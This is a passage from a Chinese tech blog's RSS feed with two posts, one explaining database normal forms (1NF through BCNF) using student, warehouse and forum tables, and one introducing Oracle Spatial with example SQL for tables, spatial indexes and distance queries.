(学号) → (姓名, 年龄, 所在学院, 学院地点, 学院电话)
这个数据库是符合2NF的，但是不符合3NF，因为存在如下决定关系：
(学号) → (所在学院) → (学院地点, 学院电话)
即存在非关键字段&#8221;学院地点&#8221;、&#8221;学院电话&#8221;对关键字段&#8221;学号&#8221;的传递函数依赖。
它也会存在数据冗余、更新异常、插入异常和删除异常的情况，读者可自行分析得知。
把学生关系表分为如下两个表：
学生：(学号, 姓名, 年龄, 所在学院)；
学院：(学院, [...]]]></description>
			<content:encoded><![CDATA[<p><strong>引言</strong></p>
<p><strong></strong> 数据库的设计范式是数据库设计所需要满足的规范，满足这些规范的数据库是简洁的、结构明晰的，同时，不会发生插入（insert）、删除（delete）和更新（update）操作异常。反之则是乱七八糟，不仅给数据库的编程人员制造麻烦，而且面目可憎，可能存储了大量不需要的冗余信息。</p>
<p>设计范式是不是很难懂呢？非也，大学教材上给我们一堆数学公式我们当然看不懂，也记不住。所以我们很多人就根本不按照范式来设计数据库。</p>
<p>实质上，设计范式用很形象、很简洁的话语就能说清楚，道明白。本文将对范式进行通俗地说明，并以笔者曾经设计的一个简单论坛的数据库为例来讲解怎样将这些范式应用于实际工程。</p>
<p><span id="more-262"></span></p>
<p><strong>范式说明</strong></p>
<p>第一范式（1NF）：数据库表中的字段都是单一属性的，不可再分。这个单一属性由基本类型构成，包括整型、实数、字符型、逻辑型、日期型等。</p>
<p>例如，如下的数据库表是符合第一范式的：</p>
<table border="1" cellspacing="0" cellpadding="2" width="90%" align="center">
<tbody>
<tr>
<td>字段1</td>
<td>字段2</td>
<td>字段3</td>
<td>字段4</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<p>而这样的数据库表是不符合第一范式的：</p>
<table border="1" cellspacing="0" cellpadding="2" width="90%" align="center">
<tbody>
<tr>
<td>字段1</td>
<td>字段2</td>
<td colspan="2">
<div>字段3</div>
</td>
<td>字段4</td>
</tr>
<tr>
<td></td>
<td></td>
<td>字段3.1</td>
<td>字段3.2</td>
<td></td>
</tr>
</tbody>
</table>
<p>很显然，在当前的任何关系数据库管理系统（DBMS）中，傻瓜也不可能做出不符合第一范式的数据库，因为这些DBMS不允许你把数据库表的一列再分成二列或多列。因此，你想在现有的DBMS中设计出不符合第一范式的数据库都是不可能的。</p>
<p>第二范式（2NF）：数据库表中不存在非关键字段对任一候选关键字段的部分函数依赖（部分函数依赖指的是存在组合关键字中的某些字段决定非关键字段的情况），也即所有非关键字段都完全依赖于任意一组候选关键字。</p>
<p>假定选课关系表为SelectCourse(学号, 姓名, 年龄, 课程名称, 成绩, 学分)，关键字为组合关键字(学号, 课程名称)，因为存在如下决定关系：</p>
<p>(学号, 课程名称) → (姓名, 年龄, 成绩, 学分)</p>
<p>这个数据库表不满足第二范式，因为存在如下决定关系：</p>
<p>(课程名称) → (学分)</p>
<p>(学号) → (姓名, 年龄)</p>
<p>即存在组合关键字中的字段决定非关键字的情况。</p>
<p>由于不符合2NF，这个选课关系表会存在如下问题：</p>
<p>(1) 数据冗余：</p>
<p>同一门课程由n个学生选修，&#8221;学分&#8221;就重复n-1次；同一个学生选修了m门课程，姓名和年龄就重复了m-1次。</p>
<p>(2) 更新异常：</p>
<p>若调整了某门课程的学分，数据表中所有行的&#8221;学分&#8221;值都要更新，否则会出现同一门课程学分不同的情况。</p>
<p>(3) 插入异常：</p>
<p>假设要开设一门新的课程，暂时还没有人选修。这样，由于还没有&#8221;学号&#8221;关键字，课程名称和学分也无法记录入数据库。</p>
<p>(4) 删除异常：</p>
<p>假设一批学生已经完成课程的选修，这些选修记录就应该从数据库表中删除。但是，与此同时，课程名称和学分信息也被删除了。很显然，这也会导致插入异常。</p>
<p>把选课关系表SelectCourse改为如下三个表：</p>
<p>学生：Student(学号, 姓名, 年龄)；</p>
<p>课程：Course(课程名称, 学分)；</p>
<p>选课关系：SelectCourse(学号, 课程名称, 成绩)。</p>
<p>这样的数据库表是符合第二范式的，消除了数据冗余、更新异常、插入异常和删除异常。</p>
<p>另外，所有单关键字的数据库表都符合第二范式，因为不可能存在组合关键字。</p>
<p>第三范式（3NF）：在第二范式的基础上，数据表中如果不存在非关键字段对任一候选关键字段的传递函数依赖则符合第三范式。所谓传递函数依赖，指的是如果存在&#8221;A → B → C&#8221;的决定关系，则C传递函数依赖于A。因此，满足第三范式的数据库表应该不存在如下依赖关系：</p>
<p>关键字段 → 非关键字段x → 非关键字段y</p>
<p>假定学生关系表为Student(学号, 姓名, 年龄, 所在学院, 学院地点, 学院电话)，关键字为单一关键字&#8221;学号&#8221;，因为存在如下决定关系：</p>
<p>(学号) → (姓名, 年龄, 所在学院, 学院地点, 学院电话)</p>
<p>这个数据库是符合2NF的，但是不符合3NF，因为存在如下决定关系：</p>
<p>(学号) → (所在学院) → (学院地点, 学院电话)</p>
<p>即存在非关键字段&#8221;学院地点&#8221;、&#8221;学院电话&#8221;对关键字段&#8221;学号&#8221;的传递函数依赖。</p>
<p>它也会存在数据冗余、更新异常、插入异常和删除异常的情况，读者可自行分析得知。</p>
<p>把学生关系表分为如下两个表：</p>
<p>学生：(学号, 姓名, 年龄, 所在学院)；</p>
<p>学院：(学院, 地点, 电话)。</p>
<p>这样的数据库表是符合第三范式的，消除了数据冗余、更新异常、插入异常和删除异常。</p>
<p>鲍依斯-科得范式（BCNF）：在第三范式的基础上，数据库表中如果不存在任何字段对任一候选关键字段的传递函数依赖则符合第三范式。</p>
<p>假设仓库管理关系表为StorehouseManage(仓库ID, 存储物品ID, 管理员ID, 数量)，且有一个管理员只在一个仓库工作；一个仓库可以存储多种物品。这个数据库表中存在如下决定关系：</p>
<p>(仓库ID, 存储物品ID) →(管理员ID, 数量)</p>
<p>(管理员ID, 存储物品ID) → (仓库ID, 数量)</p>
<p>所以，(仓库ID, 存储物品ID)和(管理员ID, 存储物品ID)都是StorehouseManage的候选关键字，表中的唯一非关键字段为数量，它是符合第三范式的。但是，由于存在如下决定关系：</p>
<p>(仓库ID) → (管理员ID)</p>
<p>(管理员ID) → (仓库ID)</p>
<p>即存在关键字段决定关键字段的情况，所以其不符合BCNF范式。它会出现如下异常情况：</p>
<p>(1) 删除异常：</p>
<p>当仓库被清空后，所有&#8221;存储物品ID&#8221;和&#8221;数量&#8221;信息被删除的同时，&#8221;仓库ID&#8221;和&#8221;管理员ID&#8221;信息也被删除了。</p>
<p>(2) 插入异常：</p>
<p>当仓库没有存储任何物品时，无法给仓库分配管理员。</p>
<p>(3) 更新异常：</p>
<p>如果仓库换了管理员，则表中所有行的管理员ID都要修改。</p>
<p>把仓库管理关系表分解为二个关系表：</p>
<p>仓库管理：StorehouseManage(仓库ID, 管理员ID)；</p>
<p>仓库：Storehouse(仓库ID, 存储物品ID, 数量)。</p>
<p>这样的数据库表是符合BCNF范式的，消除了删除异常、插入异常和更新异常。<br />
<strong>范式应用</strong></p>
<p>我们来逐步搞定一个论坛的数据库，有如下信息：</p>
<p>（1） 用户：用户名，email，主页，电话，联系地址</p>
<p>（2） 帖子：发帖标题，发帖内容，回复标题，回复内容</p>
<p>第一次我们将数据库设计为仅仅存在表：</p>
<table border="1" cellspacing="0" cellpadding="2" width="90%" align="center">
<tbody>
<tr>
<td>用户名</td>
<td>email</td>
<td>主页</td>
<td>电话</td>
<td>联系地址</td>
<td>发帖标题</td>
<td>发帖内容</td>
<td>回复标题</td>
<td>回复内容</td>
</tr>
</tbody>
</table>
<p>这个数据库表符合第一范式，但是没有任何一组候选关键字能决定数据库表的整行，唯一的关键字段用户名也不能完全决定整个元组。我们需要增加&#8221;发帖ID&#8221;、&#8221;回复ID&#8221;字段，即将表修改为：</p>
<table border="1" cellspacing="0" cellpadding="2" width="90%" align="center">
<tbody>
<tr>
<td>用户名</td>
<td>email</td>
<td>主页</td>
<td>电话</td>
<td>联系地址</td>
<td>发帖ID</td>
<td>发帖标题</td>
<td>发帖内容</td>
<td>回复ID</td>
<td>回复标题</td>
<td>回复内容</td>
</tr>
</tbody>
</table>
<p>这样数据表中的关键字(用户名，发帖ID，回复ID)能决定整行：</p>
<p>(用户名,发帖ID,回复ID) → (email,主页,电话,联系地址,发帖标题,发帖内容,回复标题,回复内容)</p>
<p>但是，这样的设计不符合第二范式，因为存在如下决定关系：</p>
<p>(用户名) → (email,主页,电话,联系地址)</p>
<p>(发帖ID) → (发帖标题,发帖内容)</p>
<p>(回复ID) → (回复标题,回复内容)</p>
<p>即非关键字段部分函数依赖于候选关键字段，很明显，这个设计会导致大量的数据冗余和操作异常。</p>
<p>我们将数据库表分解为（带下划线的为关键字）：</p>
<p>（1） 用户信息：用户名，email，主页，电话，联系地址</p>
<p>（2） 帖子信息：发帖ID，标题，内容</p>
<p>（3） 回复信息：回复ID，标题，内容</p>
<p>（4） 发贴：用户名，发帖ID</p>
<p>（5） 回复：发帖ID，回复ID</p>
<p>这样的设计是满足第1、2、3范式和BCNF范式要求的，但是这样的设计是不是最好的呢？</p>
<p>不一定。</p>
<p>观察可知，第4项&#8221;发帖&#8221;中的&#8221;用户名&#8221;和&#8221;发帖ID&#8221;之间是1：N的关系，因此我们可以把&#8221;发帖&#8221;合并到第2项的&#8221;帖子信息&#8221;中；第5项&#8221;回复&#8221;中的&#8221;发帖ID&#8221;和&#8221;回复ID&#8221;之间也是1：N的关系，因此我们可以把&#8221;回复&#8221;合并到第3项的&#8221;回复信息&#8221;中。这样可以一定量地减少数据冗余，新的设计为：</p>
<p>（1） 用户信息：用户名，email，主页，电话，联系地址</p>
<p>（2） 帖子信息：用户名，发帖ID，标题，内容</p>
<p>（3） 回复信息：发帖ID，回复ID，标题，内容</p>
<p>数据库表1显然满足所有范式的要求；</p>
<p>数据库表2中存在非关键字段&#8221;标题&#8221;、&#8221;内容&#8221;对关键字段&#8221;发帖ID&#8221;的部分函数依赖，即不满足第二范式的要求，但是这一设计并不会导致数据冗余和操作异常；</p>
<p>数据库表3中也存在非关键字段&#8221;标题&#8221;、&#8221;内容&#8221;对关键字段&#8221;回复ID&#8221;的部分函数依赖，也不满足第二范式的要求，但是与数据库表2相似，这一设计也不会导致数据冗余和操作异常。</p>
<p>由此可以看出，并不一定要强行满足范式的要求，对于1：N关系，当1的一边合并到N的那边后，N的那边就不再满足第二范式了，但是这种设计反而比较好！</p>
<p>对于M：N的关系，不能将M一边或N一边合并到另一边去，这样会导致不符合范式要求，同时导致操作异常和数据冗余。<br />
对于1：1的关系，我们可以将左边的1或者右边的1合并到另一边去，设计导致不符合范式要求，但是并不会导致操作异常和数据冗余。</p>
<p><strong>结论</strong></p>
<p>满足范式要求的数据库设计是结构清晰的，同时可避免数据冗余和操作异常。这并意味着不符合范式要求的设计一定是错误的，在数据库表中存在1：1或1：N关系这种较特殊的情况下，合并导致的不符合范式要求反而是合理的。</p>
<p>在我们设计数据库的时候，一定要时刻考虑范式的要求。</p>
]]></content:encoded>
			<wfw:commentRss>http://column.ibeifeng.com/libin_8745/20090223262.shtml/feed</wfw:commentRss>
		</item>
		<item>
		<title>oracle spatial初探</title>
		<link>http://column.ibeifeng.com/taohuang100/20090222257.shtml</link>
		<comments>http://column.ibeifeng.com/taohuang100/20090222257.shtml#comments</comments>
		<pubDate>Sat, 21 Feb 2009 16:25:38 +0000</pubDate>
		<dc:creator>taohuang100</dc:creator>
		
		<category><![CDATA[数据库]]></category>

		<category><![CDATA[oracle]]></category>

		<guid isPermaLink="false">http://column.ibeifeng.com/?p=257</guid>
		<description><![CDATA[一、Oracle Spatial简介
Oracle 支持自定义的数据类型，可以用数组，结构体或者带有构造函数，功能函数的类来定义自己的对象类型。这样的对象类型可以用于属性列的数据类型，也可以用来创建对象表。而Oracle Spatial也正是基于此种特性所开发的一套空间数据处理系统。
Spatial 的自定义数据类型有很多，全部在MDSYS方案下，经常使用到的是SDO_GEOMETRY类型。SDO_GEOMETRY表示一个几何对象，可以是点、线、面、多点、多线、多面或混合对象。

Spatial 在此数据类型的基础上，实现了R树空间索引和四叉树空间索引，还以SQL函数的形式实现了多种空间分析功能。
二、测试表的建立与应用（点类型）



&#8211; 创建测试用表
CREATE TABLE &#8220;SPATIALTEST&#8221; (
&#8220;ID&#8221; VARCHAR2(20) NOT NULL,
&#8220;NAME&#8221; VARCHAR2(100),
&#8220;ADDRESS&#8221; VARCHAR2(200),
&#8220;TELEPHONE&#8221; VARCHAR2(50),
&#8220;LOCATION&#8221; &#8220;MDSYS&#8221;.&#8221;SDO_GEOMETRY&#8221;
)LOGGING;






&#8211; 创建主键约束
ALTER TABLE &#8220;SPATIALTEST&#8221;
ADD CONSTRAINT &#8220;PK_SPATIAL&#8221; PRIMARY KEY(&#8221;ID&#8221;);






&#8211; 根据用户表填写空间元数据
INSERT INTO USER_SDO_GEOM_METADATA
VALUES(
&#8216;SPATIALTEST&#8217;,
&#8216;location&#8217;,
MDSYS.SDO_DIM_ARRAY(
MDSYS.SDO_DIM_ELEMENT(&#8217;Longitude&#8217;,-180,180,10),
MDSYS.SDO_DIM_ELEMENT(&#8217;Latitude&#8217;,-90,90,10)
),
8307
);






&#8211; 建立空间索引
CREATE INDEX SPATIAL_IDX
ON SPATIALTEST(location)
INDEXTYPE IS MDSYS.SPATIAL_INDEX;






&#8211; 导入测试数据
INSERT INTO &#8220;SPATIALTEST&#8221;
VALUES(
&#8216;dbeb7ea11eaf2b53a9b7&#8242;,
&#8216;小肥羊(天河店)&#8217;,
&#8216;广州市天河区天寿路25号&#8217;,
&#8216;020-38217746&#8242;,
MDSYS.SDO_GEOMETRY(
2001,
8307,
MDSYS.SDO_POINT_TYPE(113.3293658, 23.14338586, 0),
NULL,
NULL
)
);
INSERT INTO &#8220;SPATIALTEST&#8221;
VALUES(
&#8216;ef8393ef6273a72b2f70&#8242;,
&#8216;山东老家&#8217;,
&#8216;广州市越秀区合群一马路43号&#8217;,
&#8216;020-87778983&#8242;,
MDSYS.SDO_GEOMETRY(
2001,
8307,
MDSYS.SDO_POINT_TYPE(113.2932474, 23.11883515, 0),
NULL,
NULL
)
); &#8211;其他INSERT INTO cola_markets VALUES(
2,
&#8216;cola_b&#8217;,
MDSYS.SDO_GEOMETRY(
2003, &#8211; 2-dimensional polygon
NULL,
NULL,
MDSYS.SDO_ELEM_INFO_ARRAY(1,1003,1), &#8212; one polygon (exterior polygon ring)
MDSYS.SDO_ORDINATE_ARRAY(5,1, 8,1, 8,6, [...]]]></description>
			<content:encoded><![CDATA[<p>一、Oracle Spatial简介</p>
<p>Oracle 支持自定义的数据类型，可以用数组，结构体或者带有构造函数，功能函数的类来定义自己的对象类型。这样的对象类型可以用于属性列的数据类型，也可以用来创建对象表。而Oracle Spatial也正是基于此种特性所开发的一套空间数据处理系统。</p>
<p>Spatial 的自定义数据类型有很多，全部在MDSYS方案下，经常使用到的是SDO_GEOMETRY类型。SDO_GEOMETRY表示一个几何对象，可以是点、线、面、多点、多线、多面或混合对象。</p>
<p><span id="more-257"></span></p>
<p>Spatial 在此数据类型的基础上，实现了R树空间索引和四叉树空间索引，还以<a href=";" target="_self"><span style="underline;"><strong>SQL</strong></span></a>函数的形式实现了多种空间分析功能。<br />
二、<a href=";" target="_self"><span style="underline;"><strong>测试</strong></span></a>表的建立与应用（点类型）</p>
<table style="80%;" border="1" cellspacing="1" cellpadding="3">
<tbody>
<tr>
<td><span style="#ffffff;">&#8211; 创建测试用表<br />
CREATE TABLE &#8220;SPATIALTEST&#8221; (<br />
&#8220;ID&#8221; VARCHAR2(20) NOT NULL,<br />
&#8220;NAME&#8221; VARCHAR2(100),<br />
&#8220;ADDRESS&#8221; VARCHAR2(200),<br />
&#8220;TELEPHONE&#8221; VARCHAR2(50),<br />
&#8220;LOCATION&#8221; &#8220;MDSYS&#8221;.&#8221;SDO_GEOMETRY&#8221;<br />
)LOGGING;</span></td>
</tr>
</tbody>
</table>
<table style="80%;" border="1" cellspacing="1" cellpadding="3">
<tbody>
<tr>
<td>&#8211; 创建主键约束<br />
ALTER TABLE &#8220;SPATIALTEST&#8221;<br />
ADD CONSTRAINT &#8220;PK_SPATIAL&#8221; PRIMARY KEY(&#8221;ID&#8221;);</td>
</tr>
</tbody>
</table>
<table style="80%;" border="1" cellspacing="1" cellpadding="3">
<tbody>
<tr>
<td>&#8211; 根据用户表填写空间元数据<br />
INSERT INTO USER_SDO_GEOM_METADATA<br />
VALUES(<br />
&#8216;SPATIALTEST&#8217;,<br />
&#8216;location&#8217;,<br />
MDSYS.SDO_DIM_ARRAY(<br />
MDSYS.SDO_DIM_ELEMENT(&#8217;Longitude&#8217;,-180,180,10),<br />
MDSYS.SDO_DIM_ELEMENT(&#8217;Latitude&#8217;,-90,90,10)<br />
),<br />
8307<br />
);</td>
</tr>
</tbody>
</table>
<table style="80%;" border="1" cellspacing="1" cellpadding="3">
<tbody>
<tr>
<td>&#8211; 建立空间索引<br />
CREATE INDEX SPATIAL_IDX<br />
ON SPATIALTEST(location)<br />
INDEXTYPE IS MDSYS.SPATIAL_INDEX;</td>
</tr>
</tbody>
</table>
<table style="80%;" border="1" cellspacing="1" cellpadding="3">
<tbody>
<tr>
<td>&#8211; 导入测试数据<br />
INSERT INTO &#8220;SPATIALTEST&#8221;<br />
VALUES(<br />
&#8216;dbeb7ea11eaf2b53a9b7&#8242;,<br />
&#8216;小肥羊(天河店)&#8217;,<br />
&#8216;广州市天河区天寿路25号&#8217;,<br />
&#8216;020-38217746&#8242;,<br />
MDSYS.SDO_GEOMETRY(<br />
2001,<br />
8307,<br />
MDSYS.SDO_POINT_TYPE(113.3293658, 23.14338586, 0),<br />
NULL,<br />
NULL<br />
)<br />
);<br />
INSERT INTO &#8220;SPATIALTEST&#8221;<br />
VALUES(<br />
&#8216;ef8393ef6273a72b2f70&#8242;,<br />
&#8216;山东老家&#8217;,<br />
&#8216;广州市越秀区合群一马路43号&#8217;,<br />
&#8216;020-87778983&#8242;,<br />
MDSYS.SDO_GEOMETRY(<br />
2001,<br />
8307,<br />
MDSYS.SDO_POINT_TYPE(113.2932474, 23.11883515, 0),<br />
NULL,<br />
NULL<br />
)<br />
); &#8211;其他INSERT INTO cola_markets VALUES(<br />
2,<br />
&#8216;cola_b&#8217;,<br />
MDSYS.SDO_GEOMETRY(<br />
2003, &#8211; 2-dimensional polygon<br />
NULL,<br />
NULL,<br />
MDSYS.SDO_ELEM_INFO_ARRAY(1,1003,1), &#8212; one polygon (exterior polygon ring)<br />
MDSYS.SDO_ORDINATE_ARRAY(5,1, 8,1, 8,6, 5,7, 5,1)<br />
)<br />
);</td>
</tr>
</tbody>
</table>
<table style="80%;" border="1" cellspacing="1" cellpadding="3">
<tbody>
<tr>
<td>&#8211; 属性信息查询<br />
SQL&gt; select location from spatialtest;LOCATION(SDO_GTYPE, SDO_SRID, SDO_POINT(X, Y, Z), SDO_ELEM_INFO, SDO_ORDINATES)<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
SDO_GEOMETRY(2001, 8307, SDO_POINT_TYPE(113.329366, 23.1433859, 0), NULL, NULL)SQL&gt; select s.location.SDO_POINT.x langtitude from spatialtest s;LANGTITUDE<br />
&#8212;&#8212;&#8212;-<br />
113.329366</td>
</tr>
</tbody>
</table>
<table style="80%;" border="1" cellspacing="1" cellpadding="3">
<tbody>
<tr>
<td>&#8211; 空间分析查询(113.2359818,23.16937253)周边十公里信息5条<br />
SELECT<br />
B.id id, B.name name, B.dist dist<br />
FROM (<br />
SELECT<br />
A.id id, A.name name, SDO_GEOM.SDO_DISTANCE(A.location,MDSYS.SDO_GEOMETRY(2001,8307,MDSYS.SDO_POINT_TYPE(113.2359818,23.16937253,0),NULL,NULL),1) dist<br />
FROM<br />
spatialtest A<br />
WHERE<br />
SDO_WITHIN_DISTANCE(A.LOCATION,MDSYS.SDO_GEOMETRY(2001,8307,MDSYS.SDO_POINT_TYPE(113.2359818,23.16937253,0),NULL,NULL),&#8217;distance=10000&#8242;) = &#8216;TRUE&#8217;<br />
ORDER BY A.name<br />
) B<br />
WHERE<br />
ROWNUM &lt;= 5<br />
;</td>
</tr>
</tbody>
</table>
<table style="80%;" border="1" cellspacing="1" cellpadding="3">
<tbody>
<tr>
<td>&#8211; 空间分析查询(113.2359818,23.16937253)附近的5条信息<br />
SELECT<br />
A.id id, A.name name,A.location.SDO_POINT.x langtitude, A.location.SDO_POINT.y latitude,MDSYS.SDO_NN_DISTANCE(1) distance<br />
FROM<br />
spatialtest A<br />
WHERE<br />
SDO_NN(A.LOCATION,MDSYS.SDO_GEOMETRY(2001,8307,MDSYS.SDO_POINT_TYPE(113.2359818,23.16937253,0),null,null),&#8217;SDO_NUM_RES=5&#8242;,1) = &#8216;TRUE&#8217;<br />
;</td>
</tr>
</tbody>
</table>
<table style="80%;" border="1" cellspacing="1" cellpadding="3">
<tbody>
<tr>
<td>&#8211; Return the topological difference of two geometries.<br />
SELECT SDO_GEOM.SDO_DIFFERENCE(c_a.shape, m.diminfo, c_c.shape, m.diminfo)<br />
FROM cola_markets c_a, cola_markets c_c, user_sdo_geom_metadata m<br />
WHERE m.table_name = &#8216;COLA_MARKETS&#8217; AND m.column_name = &#8216;SHAPE&#8217;<br />
AND c_a.name = &#8216;cola_a&#8217; AND c_c.name = &#8216;cola_c&#8217;;</td>
</tr>
</tbody>
</table>
<p>三、MDYSYS.SDO_GEOMETRY结构</p>
<table style="80%;" border="1" cellspacing="1" cellpadding="3">
<tbody>
<tr>
<td>CREATE TYPE SDO_GEOMETRY AS OBJECT(<br />
SDO_GTYPE NUMBER,       //表示几何实体的类型<br />
SDO_SRID NUMBER,       //用来表示坐标系(空间参考坐标系)，与几何实体关联<br />
SDO_POINT MDSYS.SDO_POINT_TYPE, //使用X,Y,Z属性值来定义对象类型                   //它们都是NUMBER类型，<br />
//如果SDO_GEOMETRY的SDO_ELEM_INFO及SDO_ORDINATES数组为<br />
//空则SDO_POINT为非空,X和Y值就是点几何实体的坐标值<br />
SDO_ELEM_INFO MDSYS.SDO_ELEM_INFO_ARRAY, //使用变长NUMBER型数组来表示。<br />
//该属性将告知如何解释SDO_ORDINATES里边的坐标值;<br />
SDO_ORDINATES MDSYS.SDO_ORDINATE_ARRAY  //存储坐标值                  //形成空间对象的边界<br />
);</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://column.ibeifeng.com/taohuang100/20090222257.shtml/feed</wfw:commentRss>
		</item>
	</channel>
</rss>
